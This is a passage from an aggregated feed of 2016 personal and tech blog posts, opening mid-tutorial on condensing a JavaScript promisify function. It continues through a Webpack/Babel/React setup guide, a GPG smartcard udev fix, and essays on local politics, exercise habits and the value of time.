The version just shown to you is correct, and will function as intended, but it is a bit verbose. After all, we are using ES6, and we aren't using very many of the language features. Let's begin condensing some of the code, starting with replacing the if() statement with a ternary operator.

function promisify(fn) {
  return function bar() {
    let args = Array.from(arguments);
    return new Promise(function(resolve, reject) {
      args.push(function callback(err, data) {
        err ? reject(err) : resolve(data);
      });
      fn.apply(undefined, args);
    });
  };
}

Next, we are going to use anonymous functions rather than giving them names. We can also use the ES6-style () => {} function declarations everywhere except for the return of promisify().

function promisify(fn) {
  return function() {
    let args = Array.from(arguments);
    return new Promise((resolve, reject) => {
      args.push((err, data) => {
        err ? reject(err) : resolve(data);
      });
      fn.apply(undefined, args);
    });
  };
}

Let's get rid of the .push() and .apply() by using the spread syntax. Notice that we cannot avoid the need to copy the arguments array, because the arguments array needs to be used inside another function, so we must save a copy.

function promisify(fn) {
  return function() {
    let args = Array.from(arguments);
    return new Promise((resolve, reject) => {
      fn(...args, (err, data) => {
        err ? reject(err) : resolve(data);
      });
    });
  };
}

The next optimization is not as easy to spot, but notice that there are two functions that only have one line of code within them, and no return statement. In this particular case, it does not matter if anything is returned by the functions or not, because the value is immediately discarded. This fact allows us to further shorten the anonymous functions. I will do them one at a time, the innermost function being first.

function promisify(fn) {
  return function() {
    let args = Array.from(arguments);
    return new Promise((resolve, reject) => {
      fn(...args, (err, data) => err ? reject(err) : resolve(data));
    });
  };
}

Now to compress it a bit more.

/**
 * Convert a callback-based function into a promise.
 **/
function promisify(fn) {
  return function() {
    let args = Array.from(arguments);
    return new Promise((resolve, reject) => fn(...args, (err, data) => err ? reject(err) : resolve(data)));
  };
}

There you have it! We just created a function that, given a callback-style function, returns a Promise-based implementation of it. If you really, really want a short version, go for this:

/**
 * Convert a callback-based function into a promise.
 * Ultra-condensed version.
 **/
let promisify = fn => function() {
  let args = Array.from(arguments);
  return new Promise((resolve, reject) => fn(...args, (err, data) => err ? reject(err) : resolve(data)));
};

Of course I didn't do anything with try..catch blocks, but you can add them as you see fit. From this point, it would also be trivial to support callback-based functions who put their callback in non-standard locations (e.g., putting the callback as the first argument or in the middle of the arguments, followed by optional arguments, etc.).

Wrapping my head around local politics 001

Josh Thompson — Wed, 24 Aug 2016 03:00:00 GMT

Warning: Buzzwords ahead about millennials.*

As a millennial, I want to “get involved” in my “local community”, and don’t know the best way to “mobilize my resources”.

vomit. I hate admitting that. But I still want to figure out if it is possible for me (little old me) to do something meanigful in the arena of local politics. ( Here’s a rough overview of what I’d like accomplished)

So, what does any resourceful person do?

I headed to Google and searched for:

“politics for millennials”
“local politics for millennials”
“young people involved in local politics”

The results (or, judging by the top five hits for each search) are totally underwhelming. Here’s a few:

Themes from articles about Millennials

I’m generalizing, but I noticed a few themes:

Millennials get lumped together.
Millennials are still considered an outgroup. (It seems a lot of people writing aboutmillennials, to other people who are not part of that group.)
The “departure from the norm” of voting engagement/preference of millennials is implicitly a result of their youth or liberalism, rather than a reasonable assessment of the political system.

I’m going to go out on a limb here, borrowing from pretty straight-forward realities behind education:

People care about things that matter to them, and will go to great efforts to pursue their own interests, and are nearly impossible to motivate in any other way.

Please see: school. (I steadfastly resisted learning anything that I didn’t want to learn about. Conversely, something I want to learn about, I will pour myself into learning.)

In other words, a perceived disinterest in politics is not a reflection of millennials, it’s a reflection of “the system”.

Defining Politics?

Lets define politics:

“Politics” is loosely correlated to organizing life around ourselves to care for the common good. (Not the official definition, just my working definition.)
“Politics” is wrangling between elites to bring about things that make them feel good, while talking down to us common folk.

Regarding “politics as a tool of the elite”, this Snowden quote seems appropriate:

Politics: the art of convincing decent people to forget the lesser of two evils is also evil.

Those two interpretations of the word “politics” are irreconcilable, and when people complain that millennials are not involved in “politics”, they usually seem to be referring to #2. (Anytime someone says voting is a “duty”, that should be a red flag)

I don’t care at all about “politics”, but I care a lot about how people are treated by other people.

This fits into two groups:

How people of equal power treat each other
How people of unequal power treat each other

People with power can tell people without power what they can and cannot do. If those people with power are also representatives of the government, they’ve got fantastic enforcement mechanisms to drive compliance.

What I (a lone, single, powerless millennial) want to do

There’s a few things that matter a lot, and can be partially/wholly implemented at a local level:

Many contributing factors to police brutality. Here is 15, at least ten of which could be done mostly at a local level.
Racist zoning laws
Supporting “fractal” development instead of centrally planned development. Strongtowns on housing. I.E. let people do with their property as they see fit, be it live in it, work in it, run a business from it, or all of the above simultaneously. (This is illegal in most places)
Keep awesome food sources legal, instead of running afoul of angry bureaucrats.

*I hate the term “millennial”, and, in fact, keep misspelling it. It implies homogeneousness, youth, and immaturity. All unfounded, besides the fact that we are, in fact, younger than people born before us, because physics.

Resources:

Startup Communities (I’m skeptical of the premise - we don’t need communities driven around startups, we need healthy, financially sustainable communities where people can do what they want as long as they don’t deprive anyone else of their rights. I’ve not read this book yet.)
Strong Towns: Growth Ponzi Scheme
Strongtowns on housing
Making Ferguson
Let good food be legal

Links - August 24th, 2016

Avy Faingezicht — Wed, 24 Aug 2016 03:00:00 GMT

The Worst Individual I Ever Worked With

Ben E. C. Boyter — Tue, 23 Aug 2016 05:55:20 GMT

Taken from a comment I posted on HN in a thread about a Soccer Con Man.

Not actually a programmer. The guy was hired to be a project manager.

After joining things were as expected but after a few weeks we noticed that he was rarely around after lunch and never around after lunch on a Friday.

We would email him at those times deliberately to catch him out and I recall starting to put sticky notes on his laptop “Came to see you a X time”. He would come back and just dump all the notes in the rubbish and claim he never got them. He would often claim to be working from home, despite his laptop being on his desk and usually closed. He would also never responding during those times to email or IM.

Scott Belsky: Investor, Author & Founder of Behance

Sam Solomon — Tue, 23 Aug 2016 03:00:00 GMT

Scott Belsky joins us to highlight his journey from Fortune 500 MBA grad to the creative chaos of the design world.

The Resistance

Yasha Solutions — Tue, 23 Aug 2016 03:00:00 GMT

Steven Pressfield has really coined the term *resistance in his famous book The War of Art amongts some other books he dedicated to it, and his words are so accurate that it is a must read for everyone in the business of making shit happen. TL;DR The resistance is a phenomenon well known to creative people, entrepreneurs and anybody trying to make something different and/or new happen – to some extent it is like a force of nature that manifest itself against our will to improve, our desire to advance.

Setting up Webpack, Babel and React from scratch

Muffin Man — Tue, 23 Aug 2016 03:00:00 GMT

Update, October 2017 #

I just released updated tutorial right here. So feel free to skip this one, and read a new one. It uses updated tools, and hopefully it will grow into a new series of webpack/react posts.

Update, March 2017 #

Webpack 2 is out, so this post is slowly becoming outdated. For webpack 2 - react boilerplate please check this post.

This is a living guide #

This is the first part of the guide that will be changed over time. For now it covers Webpack, Babel (for ES6) and React with React Router.

Next parts will contain more stuff - static properties, decorators, SASS, development and production configs, immutables... Also redux part should be updated really soon.

So stay tuned!

Other parts:

Part 1 - Webpack, Babel, React, Router, ESLint
Part 2 - SASS, more ES6 goodness (Static props, decorators, deconstruction...)
Part 3 - Where to go from here

Before we start #

I'll assume that you have a basic knowledge of the unix terminal, and that you have read what Webpack, Babel and React are.

Webpack #

For a start, install node and npm from https://nodejs.org/en/.

Make a git repo (this is optional, but recommended), or create an empty folder. Navigate to it in the terminal.

Initialize npm (package.json) by running

npm init

Now we can start adding npm packages. Install babel core and it's loader for webpack.

npm install --save-dev webpack webpack-dev-server

Tip: you can use npm i instead of npm install.

Create app/js/app.js with a simple console.log('hello world');. This will be the entry point for webpack.

Now we need to create a webpack config file webpack.config.js.

Tip: you can create files by using touch command - touch FILENAME

module.exports = {
  context: __dirname + "/app",

  entry: "./js/app.js",

  output: {
    filename: "app.js",
    path: __dirname + "/dist",
  }
};

It is important to understand what is going on so far. This tells webpack that our main application file (app.js) is the entry point, and bundled application should be outputted to the dist folder.

__dirname is the name of the directory that the currently executing script resides in.

Now we can run

node ./node_modules/webpack/bin/webpack.js

It will generate dist/app.js. (Tip: to be able to run webpack globally, you'll need to install it using npm i --global webpack. Then you can run it by using only webpack.)

Babel #

Noew can add Babel transpiler goodness.

Install babel core and it's loader for webpack and presets for ES6 (aka ES2015) and React

npm i --save-dev babel-loader babel-core babel-preset-es2015 babel-preset-react

Create .babelrc in the project root folder and add presets

{
  "presets": [
    "es2015",
    "react"
  ]
}

Add js/jsx loader to your webpack config, as well as extensions we want to resolve (More about this later).

...
  resolve: {
    extensions: ['', '.js', '.jsx', '.json']
  },
  module: {
    loaders: [
      {
        test: /\.jsx?$/,
        exclude: /node_modules/,
        loaders: ["babel-loader"]
      }
    ]
  }
...

Webpack accepts the array of the loaders. Loader has a test for the filenames, in our case it matches all of the .js and .jsx files. Then it applies babel loader to it. Basically this will transpile our fancy ES6 to ES5 which can be understood by browsers (some browsers can execute ES6 already, but most of them still can't).

If you re-run our webpack command, nothing will change, yet.

React #

Install react and react DOM

npm i react react-dom --save

Your app.js should look something like this. For this example we are just rendering main menu. Later we'll replace that with react router component.

import React from 'react';
import ReactDOM from 'react-dom';
import Menu from './components/Global/Menu.jsx';

ReactDOM.render(
  <Menu />,
  document.getElementById('app')
);

Now we can start adding react components. Create app/js/components/Global/Menu.jsx

import React, { Component } from 'react';

export default class Menu extends Component {
  render() {
    return (
      <div className='Menu'>
        Main Menu
      </div>
    );
  }
}

Index Page #

Create index page in the app folder.

<!DOCTYPE html>
<html>
<head>
  <title>Your app name</title>
  <meta charset="utf-8">
</head>
<body>
  <div id="app"></div>
  <script src="app.js"></script>
</body>
</html>

We'll need file loader for it

npm install file-loader --save-dev

Update webpack config to add entry

...
  entry: {
    javascript: "./js/app.js",
    html: "./index.html",
  }
...

and add loader

...
  {
    test: /\.html$/,
    loader: "file?name=[name].[ext]",
  }
...

Now when we run webpack again, we'll get index.html and app.js in dist folder.

Dev server and hot reload #

Install webpack development server, and run it

npm install --save-dev webpack webpack-dev-server node ./node_modules/webpack-dev-server/bin/webpack-dev-server.js

(Tip: Same as with webpack, you can install it globally npm i --global webpack-dev-server and run it using webpack-dev-server.)

Now open http://localhost:8080/ in your browser of choice. You should see your app. Development server will watch for your changes and rerun the bundler. Still we need to manually refresh the browser.

So let's add hot reloading.

npm install react-hot-loader --save-dev

Update webpack js/jsx loader to use hot reloading

...
  {
    test: /\.jsx?$/,
    exclude: /node_modules/,
    loaders: ["react-hot", "babel-loader"],
  }
...

Now we need to add two more options when running dev server --hot and --inline. We will also add --history-api-fallback which will be useful when we add react router. This option tells server to fallback to index.html which will handle routing (as we are building single page app).

node ./node_modules/webpack-dev-server/bin/webpack-dev-server.js --hot --inline

Not only the hot reload watches the changes and updates the browser, but it injects the code and keeps the application state. Note that not all modules can be replaced. The code in app/js/app.js cannot be reloaded and will cause a full page reload but changing the children components will trigger a hot module replacement.

To make things easier, we'll add our script to the package.json file.

...
  "scripts": {
    "dev": "node ./node_modules/webpack-dev-server/bin/webpack-dev-server.js --hot --inline --history-api-fallback"
  }
...

Now we can run only npm run dev

ESLint #

We are going to use AirBNB's set of rules for linting, as their standards are really good. Also, creating eslint by hand would take a long time.

Pro tip: ALWAYS LINT. No matter what people say - always use linters. You will catch errors earlier, and enforce your (the best) standards.

https://github.com/airbnb/javascript/tree/master/packages/eslint-config-airbnb

npm install --save-dev eslint eslint-config-airbnb eslint-plugin-import eslint-plugin-react eslint-plugin-jsx-a11y eslint

Now we need to create .eslintrc that only needs extends param, but if you want to customize it, add your rules to the rules object. Personally I like single quotes more, and spaces in the react curly synthax.

You might have to restart your editor for changes to take effect. For beginners I would recommend Atom editor.

{
  "extends": "airbnb",
  "rules": {
    "jsx-quotes": [2, "prefer-single"],
    "react/jsx-curly-spacing": [2, "always"],
    "react/prefer-stateless-function": [0]
  }
}

React Router #

Install it from the NPM

npm install --save react-router

What we'll do is pretty much the same thing from the official getting started guide.

https://github.com/reactjs/react-router/blob/master/docs/Introduction.md

Your app.js should look like this. You'll have to create App, Home and About views.

import React from 'react';
import ReactDOM from 'react-dom';

import App from './views/App';
import Home from './views/Home';
import About from './views/About';

import { Router, Route, IndexRoute, browserHistory } from 'react-router';

ReactDOM.render(
  <Router history={ browserHistory }>
    <Route path='/' component={ App }>
      <IndexRoute component={ Home } />
      <Route path='about' component={ About } />
    </Route>
  </Router>,
  document.getElementById('app')
);

And your views/App/index.jsx should like this. It is just a simple wrapper around your views. It has simple menu so we can test routing. chilren prop is every child component that is passed to it. In our case, children will be route that is matched in our app.js.

import React, { Component } from 'react';
import { Link } from 'react-router';

export default class App extends Component {
  render() {
    const { children } = this.props;

    return (
      <div className='App'>
        <Link to='/'>Home</Link>
        <Link to='/about'>About</Link>

        { children }
      </div>
    );
  }
}

Redux #

Note that this part will be updated soon with more details.

Install redux

npm i redux react-redux --save

To learn what redux is, the best place to start are lessons taught by the redux's creator himself, Dan Abramov.

https://egghead.io/series/getting-started-with-redux

And to add it to your React app, for now follow official documentation (more info coming soon);

http://redux.js.org/docs/basics/UsageWithReact.html

Nice to have #

This is everything you need, following the best practices for react and javascipt development in general. Beside that there is couple of more things, that I usually add to my projects. Check it yourself, and add it if you thing these are useful to you.

Absolute path resolving #

To be able to include your files with absolute paths you need to set root path. (Example: components/views/App instead of ../../views/App.) In your webpack config, under resolve add root param. Note that you have add path at the top of the file.

const path = require('path');

...
resolve: {
  extensions: ['', '.js', '.jsx', '.json'],
  root: path.resolve(__dirname, './app/js'),
},
...

Using this will probably still give you linting errors in the editor, so we need to add Install eslint import resolver package

npm install --save-dev eslint-import-resolver-webpack

And add settings to your .eslintrc

...
settings: {
  "import/resolver": "webpack"
}
...

Update #

As promised in comments, here you can find complete webpack.config.js and package.json.

To make it even easier, I created a git repository to go along with this blog post. You can find it on GitHub.

webpack.config.js #

const path = require('path');

module.exports = {
  context: __dirname + "/app",

  entry: {
    javascript: "./js/app.js",
    html: "./index.html",
  },

  output: {
    filename: "app.js",
    path: __dirname + "/dist",
  },

  resolve: {
    extensions: ['', '.js', '.jsx', '.json'],
    root: path.resolve(__dirname, './app/js'),
  },

  module: {
    loaders: [
      {
        test: /\.jsx?$/,
        exclude: /node_modules/,
        loaders: ["react-hot", "babel-loader"],
      },
      {
        test: /\.html$/,
        loader: "file?name=[name].[ext]",
      },
    ],
  },
}

package.json #

This is minimal version of the file. Yours will probably have more stuff like author, license...

{
  "scripts": {
    "dev": "node ./node_modules/webpack-dev-server/bin/webpack-dev-server.js --hot --inline --history-api-fallback"
  },
  "devDependencies": {
    "babel-core": "^6.21.0",
    "babel-loader": "^6.2.10",
    "babel-preset-es2015": "^6.18.0",
    "babel-preset-react": "^6.16.0",
    "eslint": "^3.13.1",
    "eslint-config-airbnb": "^14.0.0",
    "eslint-plugin-import": "^2.2.0",
    "eslint-plugin-jsx-a11y": "^3.0.2",
    "eslint-plugin-react": "^6.9.0",
    "file-loader": "^0.9.0",
    "react-hot-loader": "^1.3.1",
    "react-router": "^3.0.2",
    "webpack": "^1.14.0",
    "webpack-dev-server": "^1.16.2"
  },
  "dependencies": {
    "react": "^15.4.2",
    "react-dom": "^15.4.2"
  }
}

The World Wide Web turns 25 years old today

Jason Eckert's Website and Blog — Tue, 23 Aug 2016 03:00:00 GMT

On August 6, 1991, Tim Berners-Lee created a post detailing his World Wide Web project on a newsgroup called alt.hypertext in order to entice others to collaborate with him and create and host Web pages for the World Wide Web. However, it wasn’t until August 23, 1991 that it was made publicly accessible for the world to see. You could argue that August 6 is the real birth of the World Wide Web, but most websites and news aggregators acknowledge August 23 as the true birth of the World Wide Web, including Facebook, which included it as a news item today for everyone!

Ping my router!

TOGoS's Project Log — Mon, 22 Aug 2016 21:13:37 GMT

Links - August 22th, 2016

Avy Faingezicht — Mon, 22 Aug 2016 03:00:00 GMT

The PIE system: Pay it with exercise

D13V — Mon, 22 Aug 2016 03:00:00 GMT

Drinks and deserts bring me a kick of happiness. I like the rush and excitement I get after a good Old Fashioned, and I like the content that I feel after eating a Tiramisu. For a while, I feel happier. I smile, and I forgive, and I relax.

Yet, whenever I have a drink or a desert - it takes from my health. Just like the damage an avatar would sustain in a 3D shooter game, I lose a few precious percent of health. And I’m not speaking about my eventual health condition after twenty years. Within a day or two of boozing and eating sweets I can already notice that I have a headache and a little bit more fat on my belly. Even if feel good, the damage has been done, and I’m running at a lower percent. Over time, a lot of small invisible damages will accumulate to a more serious damage.

Another way to think about it is that I’ve taken on some health debt. Not a monetary debt, where I owe money, but health and fitness debt where I’m at a lower percentage. I’ve done something a little bit bad and damaging to my body. And the full payment is due on the next day. I can pay by getting in worse shape, with a small portion of my health, but instead, I’d like to pay it differently.

I’d like to pay it by reversing the damage. I pay it with exercise.

Here is the idea. By doing enough push ups and sit ups on the next day, I keep my body in good shape and I provide a feedback loop to prevent me from abusing alcohol and sugar too much.

I think an important task is to determine how many push ups are enough. If I had to do ten push ups to repair the damage from a cocktail, this means that I can drink five drinks and only do fifty push ups on the next day. This is not enough. If I were to do a thousand push ups per drink, that would’ve been too many. A hundred push ups, on the other hand, are not too many, just like a single drink is not too bad for the health.

So I’ll settle for about a 100 push ups per normal sized drink. I don’t care if that’s an accurate number, I care mainly care about the feedback signal and about approximately compensating my health. While the push ups won’t reverse all damage, they can still address most of it.

I’ve got a little bit more involved and made up numbers for a variety of damaging activities.

A morsel sized desert - 10 push ups. A small desert is as a block from a bar of chocolate, or a single small biscotti from a pack. Something that’s morsel-sized, that I can eat in a single bite without straining.
A single serving of desert - 100 push ups. This is the most general case and it involves an ice-cream cone, a slice of cake, a bowl of creme brule.
Juices - 100 push ups. A glass of fruit juice, even if it is fresh squeezed has a bunch of sugar and no fiber to balance it.
Fruits - no push ups! Fruits usually pack their fiber, to balance out the sugar, and are a great alternative.
A large desert - 200 push ups. Examples contain a cheesecake from the Cheesecake Factory, or a huge-ass ice cream.
A large drink - 200 push ups. For example a long island ice tea.

Have been doing this for a week and the numbers above are easy to keep track of during the day.

Since it would be obnoxious and not fun to do push ups in a cafe or bakery or a night club, I give myself twenty four hours to pay up. To keep things simple, I have a tad tougher rule, which is easier to justify. The rule is that within twenty four hours of gathering any push up debt I need to pay all push up debt. Kind of saying that I need to get to zero push up debt every day. So if I eat an ice-cream by lunch and then two more ice creams at dinner, I need to complete 300 push ups by noon the next day. This kind of rule is similar to saying that all push ups are due in twenty four hours, but is easier to enforce and keep track of.

And since I am not a masochist, I give myself a little break. If I am due more than a hundred push ups, I can substitute them for sit ups. For example, yesterday I did two hundred push ups and three hundred sit ups by this rule.

Again, as a reminder, the “Pay it with exercise” (PIE) system is not meant to be perfect. It just automates some thinking about health, in order to keep me in a slightly better shape on average, and make me more mindful of consuming the sweets and booze. I’ve been at it for a week and it has been easy to keep it up. I just complete all due push ups and sit ups in the morning. This gets my day started and while five hundred push ups sounds scary, it is not really thaaat bad. These drills become easier with time.

I’m excited to see the longer term effects and to report back!

Set up Selenium with Chrome (Headless)

A Holding Company — Mon, 22 Aug 2016 03:00:00 GMT

UPDATE 2017-08-31 Use chromedriver version 2.25. Tried using 2.9 with chrome 60 and could not navigate to URLS. It throws the exception below. Works fine with 2.25.

WebDriverException: Message: unknown error: Runtime.executionContextCreated has invalid 'context': {"auxData":{"frameId":"18604.1","isDefault":true},"id":1,"name":"","origin":"://"}
  (Session info: chrome=60.0.3112.113)
    (Driver info: chromedriver=2.9.248304,platform=Linux 4.4.0-93-generic x86_64)

Setting up Selenium to work in on a headless server requires the browser to be headless as well. This involves setting up Google Chrome, Chromedriver, and Selenium.

Archiving Twitter likes

Jelle Smet — Sun, 21 Aug 2016 16:42:00 GMT

I use Twitter to keep track of the latest tech information by following a tailored list of hash tags and people. When interesting information is shared, I like to have the possibility to archive the content for later retrieval. Liking a tweet is the closest thing Twitter offers to bookmark …

Starting a New Chapter

ntietz.com blog - technically a blog — Sun, 21 Aug 2016 03:00:00 GMT

At the end of this week, I am starting a new chapter of my life: entrepreneurship. This is my last week at CrossChx, and then I begin splitting my time between contract work and developing some of my own ideas.

I only spent about three quarters of a year at CrossChx, but in that time a lot has happened. I've made some friends who will be with me for a long time. I've written some code that I'm really damn proud of. And I've learned a lot about what I want in life. Right now, what I want in life is the freedom to pursue my dreams, the freedom to make the things that I really care about, the freedom to leave a Nicole-shaped dent on the world.

One of my colleagues requested that I start a blog (I already have one) around my adventures through this new chapter. Other coworkers have asked me to give them tips and updates since they have considered making similar moves. Here it is. I'm going to try to maintain weekly updates (ideally on Fridays) talking about my experiences with both contracting and entrepreneurship / independent development. It isn't really clear what this chapter is going to look like, but it sure will be interesting!

Wish me luck!

Beyond jQuery

Train of Thought — Sat, 20 Aug 2016 03:00:00 GMT

A book that aims to educate web developers and give them the confidence to abandon their jQuery crutches and walk freely with the power of the web API and JavaScript. You will learn about the most important concepts surrounding web development as I demystify jQuery!

Setup a python2 dev environment on a Mac

A Holding Company — Fri, 19 Aug 2016 03:00:00 GMT

Install homebrew
Install python
Install virtualenv and virtualenv wrapper

pip install virtualenv
pip install virtualenvwrapper

Add the following to ~/.bash_profile:

export WORKON_HOME=$HOME/.virtualenvs
export PROJECT_HOME=/Users/dhruvkar/<projectdirectory>
source /usr/local/bin/virtualenvwrapper.sh

To make virutal environments for existing projects use: mkvirtualenv -a [project directory path] [ENVIRONMENT NAME]
Assuming a requirements.txt file in existing project: pip install -r requirements.txt

Quidditch by the Numbers

The David Brownman Blog — Fri, 19 Aug 2016 03:00:00 GMT

undefined

Read the whole thing.

Links - August 18th, 2016

Avy Faingezicht — Thu, 18 Aug 2016 03:00:00 GMT

Hello there old friends. It has been forever since my last post, and I apologize for that. Here is a mixed bag of technology, management, and politics pieces. My interests haven't changed, hopefully yours haven't either. Expect more frequent updates coming back soon.

Types of Testing in Software Engineering

Ben E. C. Boyter — Thu, 18 Aug 2016 01:42:37 GMT

There are many different types of testing which exist in software engineering. They should not be confused with the test levels, unit testing, integration testing, component interface testing, and system testing. However the different test levels may be used by each type as a way of checking for software quality.

The following are all different types of tests in software engineering.

A/B

A/B testing is testing the comparison of two outputs where a single unit has changed. It is commonly used when trying to increase conversion rates for online websites. A real genius in this space is Patrick McKenzie and a few very worthwhile articles to read about it are How Stripe and AB Made me A Small Fortune and AB Testing

One way NOT to abuse Redux

Gosha Spark — Tue, 16 Aug 2016 03:00:00 GMT

GPG with the CCID Driver

Blog on blog.gnoack.org — Mon, 15 Aug 2016 14:00:00 GMT

Remark: I have not had this problem in years, and it’s probably long resolved.

Unless you’re using Debian, where people care about this, chances are that setting up GPG Smartcards with your Linux distribution is an adventure. There are two ways to do it, CCID and PCSCLite, the latter of which runs a background service pcscd – as root, at least on Arch, while GnuPG’s built-in CCID driver accesses the reader directly through the USB device, but took me a lot longer to figure out how to use.

Problem

You’re getting a “card error” when trying to access the card. The same thing works as root.

$ gpg --card-status
gpg: selecting openpgp failed: Card error
gpg: OpenPGP card not available: Card error
$

When trying the same as root, you can access the card.

Solution

Add a udev rule that changes file permissions for you, as documented on https://wiki.archlinux.org/index.php/GnuPG#Smartcard_not_detected

Add your user to a new user group that can read smartcards, and give that group read-write access to the device when it’s plugged in, by creating a file /etc/udev/rules.d with the rule:

ACTION=="add", SUBSYSTEM=="usb", ENV{ID_VENDOR_ID}=="08e6", ENV{ID_MODEL_ID}=="3438", MODE="660", GROUP="scard"

(Figure out the values for the vendor and model ID using lsusb, they are printed separated with a colon.)

Outside Lands, take two

Avy Faingezicht — Mon, 15 Aug 2016 03:00:00 GMT

Well, "take two" isn't really fair. I've actually been to the festival three times. I hope you'll see a jump in quality from last year's. Pretty crazy how people are willing to be photographed due to the air of professionalism of a DSLR in ways that a smartphone camera wouldn't allow. As I asked people to take their photos, they would constantly ask things like "Where will these be published?" or "What site are you taking the photos for?" and were oddly surprised when I told them it was for a personal blog. The camera is both a bridge and a barrier. If you came looking for a specific photo, and it isn't here, reach out and I'll happily send it your way. 600 was a lot to post at once.

The price of time

D13V — Mon, 15 Aug 2016 03:00:00 GMT

I’m talking to myself but you can join the conversation. It goes like this…

How much is your time worth? Ten dollars per hour? Fifty dollars per hour? Thousand dollars per hour? If you pick a number that you like, can you use it to justify your spending habits, to justify buying expensive clothes and car?

How much is your time worth? When you wake up with a hangover, is your time worth as much as when you’ve slept well and drank a coffee? If the economy crashes tomorrow, would your time still be worth as much?

How much is your time worth? If you need a million dollars, can you sell enough time to get them? Conversely, you have a million dollars to spend, how much time can you buy?

… these are not easy questions, and yet I’ll discuss them.

The economics of Time are different than the economics of Money. Time is heterogeneous and scarce, as contrasted to money which are a commodity. Money and Time also have different decay rates over the years.

Heterogeneous

First, all time is not made the same. Not all time has the same usefulness, even for the same person, while all money has the same usefulness. When I go to a restaurant and need to pay, it doesn’t matter which twenty dollar bill I use. They are all the same. But it does matter which hour of the day I use for my work, for my exercise, and for my relationships. When I wake up in the morning, I am neither adequate, nor focused. I can only achieve some basic tasks. On the other hand, after I’ve been awake for a couple hours, and gotten some basic movement, and groomed myself, I feel more powerful. This is my prime time. My mind is working at full speed, my body is comfortable, quick and agile, my dexterity is higher and I make fewer mistakes.

Society values our prime time, and pays for it by hiring us to do jobs. Society doesn’t care about our sleeping and relaxing time. This time results in no benefit for society. When we do our job, and get paid, we get money. Money don’t feed us and don’t provide shelter or warmth. But the society produces food and house and heat, which we can buy for money. Money is society contract, and is all the same. Its only characteristic is quantity.

Time is personal. In each hour of ours, we have different abilities, and different desires. We might desire to sleep, to shower, to eat, to be warm, to watch the sunset, to walk around, to be creative, or even to do nothing. It is up to us to set our own value systems. Each of us values time in different ways. Some care about having a relaxing morning, others about relaxing evening. Some want to solve problems, others want to create art, others want to their body to enjoy hedonistic pleasures.

Society adapts to our desires, and provides the things we value, for money. It is up to us to evaluate whether it is worth it for us to give away some of our time, to get money, in order to fulfill our other time.

Scarce

Every person gets the same amount of time per day, yet some people have orders of magnitude more money than others. If some people were to be able to speed up their existence, by making their brain run faster and body move faster, then from their perspective they would have more than 24 hours in a day. But I’m not aware of anyone who has been able to do so yet. Relativity theory and the twins paradox says that it is possible to slow time if you travel close to the speed of light. But since that almost never happens, and even the fastest moving humans - the ones in the International Space Station - do not experience noticeable delay, I think it is fair to say that we all get twenty four hours on the day.

Scarcity of time creates skewed exchange rate between money and time. Time can be exchanged for money at an unbound rate. As long as there is anyone willing to pay the money on the other side, I could be making a million dollars per hour. Yet, at best, money can free its owner from time obligations, giving them twenty four hours on the day to spend. Money can also augment these twenty four hours to a certain degree, making them better. But no matter how good money makes these hours, it won’t make them more than twenty four per day.

Decay rate

Just like present money are worth more than future money with the same nomination, present time is more valuable that future time with the same duration. But while money’s decay rate is due to inflation, time’s decay rate is personal, and it depends our health and condition as we develop, age, and die.

We prefer to have a good time this year, than to have it next year, because by waiting until the new year we may change our preference about what good time means, or we might not be able to get good time in the same way, or we might die.

During our turbulent years, in college, and soon after that, our lives can change a lot just in a single year. Our outlook of the world may change we may develop taste for new things. And we won’t even know which those things are. During those years, the personal value of time decays a lot. The high decay rate of time causes massive preference for the present over the future. This causes us to do seek more pleasure and make more drastic decisions. New relationships, new jobs, new hobbies and interests.

Later on, people tend to settle down as they create families. They don’t expect much change year to year, which causes a relatively lower decay rate for time. I actually don’t know if this is true, as I haven’t fully reached that point in life yet. But lets assume I am right. These years cause next year to be worth almost as much as the current year. As a result, decisions in this period would be focusing more on the longer term, and people would be more ready to delay their pleasure for later. It is even possible for a negative decay rate to occur, as people might expect a next year to be better when they have fewer obligations.

I’m not going to presume to have any idea about how people think about their time after that age.

Corollaries

I don’t know what’s an optimal strategy for spending time. It is likely that such strategy doesn’t exist, as everybody has different time preferences.

I think that for me, it is important to determine better the things which make my time better. I might have an idea about what I like to do, but I am still exploring.

The Seven Principles for Making Marriage Work

june.kim — Sun, 14 Aug 2016 03:00:00 GMT

The Little Prince

🦉 olshansky 🦁 — Sat, 13 Aug 2016 16:09:47 GMT

Olshansky's review of The Little Prince

2016-08-13

ho.dges.online — Sat, 13 Aug 2016 03:00:00 GMT

Kids jumping into the sea from the sea walls in Akko.

Actually Understanding Timezones in PostgreSQL

Untrod — Fri, 12 Aug 2016 22:09:00 GMT

Timezones are the worst. We should all just live in UTC, reasonable sunset hours be damned. And learning about timezone implementation details is incredibly boring and esoteric¹, so most developers are not inclined to figure out what the hell is actually going on until they really need to. Like …

The dawn of personal computing

Jason Eckert's Website and Blog — Fri, 12 Aug 2016 03:00:00 GMT

If you know me, or have read various sections of my website, you’ll know that I am a die hard member of the computing industry that also likes to collect vintage computers (this is actually quite common - you’d be surprised how many of my colleagues do the same).

Yesterday, I managed to find a very interesting canvas painting in Toronto (the picture at the top of this post), and just HAD to have it. From the signature, it was painted in 1983 by what looks like T., N., or M. McLaughlin:

Tractatus Map

mbutler — Thu, 11 Aug 2016 05:18:34 GMT

I built this subway style data visualization of Ludwig Wittgenstein’s Tractatus Logico-Philosophicus for Philosophy professor David Stern and graduate fellows Philip Ricks and Landon Elkind at the University of Iowa. They came to me with an Excel file sketch of an idea they had about a brand new way to read this seminal philosophical work. […]

Partcl - a tiny command language

zserge's blog — Thu, 11 Aug 2016 03:00:00 GMT

Minimalist interpreters have always attracted me. First of all, they are a good fit for embedded systems whenever you need a custom domain-specific language. If one needs a scripting language for a microcontroller - there is not so many choices. Instead there are lots of constraints, like the size of the compiled binary code, RAM usage and memory management. Of course the language itself is important, too. Lua, a very stable, pragmatic and minimal language.

Migrating to Hugo

Erethon's Corner — Thu, 11 Aug 2016 03:00:00 GMT

A bit over two years ago I blogged about migrating to Octopress from Wordpress, this time I'll blog about migrating to Hugo from Octopress.

I started messing around with Hugo because I was experimenting with Go and wanted to take a look at a simple and complete Go project. I ended up liking the simplicity of setting up a new site and decided to try porting my blog to it.

Find dependencies blocking rails upgrades

Caius Theory — Wed, 10 Aug 2016 14:39:00 GMT

The initial pain point when upgrading a rails app is figuring out which of your dependencies are blocking you upgrading the actual rails gem (& immediate dependencies, actionpack, etc.). One way to start this is to update the rails dependency in your Gemfile and run bundle update rails. Then check the error output (it never works first time…) to see which gems are blocking the upgrade. Repeat, rinse until it works.

